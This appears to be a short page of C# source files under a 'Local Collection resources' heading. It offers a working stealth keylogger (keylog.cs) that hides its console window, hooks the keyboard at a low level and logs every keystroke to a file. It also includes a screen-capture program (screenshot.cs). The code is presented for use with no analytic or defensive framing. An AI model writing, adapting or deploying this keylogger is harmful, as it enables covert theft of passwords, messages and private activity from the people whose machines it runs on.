Local Collection resources

keylog.cs

using System;
using System.Diagnostics;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;

class InterceptKeys
{
    private const int WH_KEYBOARD_LL = 13;
    private const int WM_KEYDOWN = 0x0100;
    private static LowLevelKeyboardProc _proc = HookCallback;
    private static IntPtr _hookID = IntPtr.Zero;
    public static void Main()
    {
        var handle = GetConsoleWindow();
        // Hide
        ShowWindow(handle, SW_HIDE);
        _hookID = SetHook(_proc);
        Application.Run();
        UnhookWindowsHookEx(_hookID);
    }
    private static IntPtr SetHook(LowLevelKeyboardProc proc)
    {
        using (Process curProcess = Process.GetCurrentProcess())
        using (ProcessModule curModule = curProcess.MainModule)
        {
            return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
                GetModuleHandle(curModule.ModuleName), 0);
        }
    }
    private delegate IntPtr LowLevelKeyboardProc(
        int nCode, IntPtr wParam, IntPtr lParam);
    private static IntPtr HookCallback(
        int nCode, IntPtr wParam, IntPtr lParam)
    {
        if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
        {
            int vkCode = Marshal.ReadInt32(lParam);
            Console.WriteLine((Keys)vkCode);
            StreamWriter sw = new StreamWriter(Application.StartupPath+ @"\log.txt",true);
            sw.Write((Keys)vkCode);
            sw.Close();
        }
        return CallNextHookEx(_hookID, nCode, wParam, lParam);
    }
    
    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr SetWindowsHookEx(int idHook,
        LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool UnhookWindowsHookEx(IntPtr hhk);
    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
        IntPtr wParam, IntPtr lParam);
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr GetModuleHandle(string lpModuleName);
    [DllImport("kernel32.dll")]
    static extern IntPtr GetConsoleWindow();
    [DllImport("user32.dll")]
    static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
    const int SW_HIDE = 0;
}

screenshot.cs

using System;
using System.Drawing;

namespace Shot
{
    public class Shot
    {
        public static void Main()
        {
            Rectangle bounds = new System.Drawing.Rectangle(0, 0, 1920, 1080);
            Bitmap bmp = new System.Drawing.Bitmap(bounds.Width, bounds.Height);
            Graphics graphics = Graphics.FromImage(bmp);
            graphics.CopyFromScreen(bounds.Location, Point.Empty, bounds.Size);
            bmp.Save("shot.bmp");
            graphics.Dispose();
            bmp.Dispose();
        }
    }
}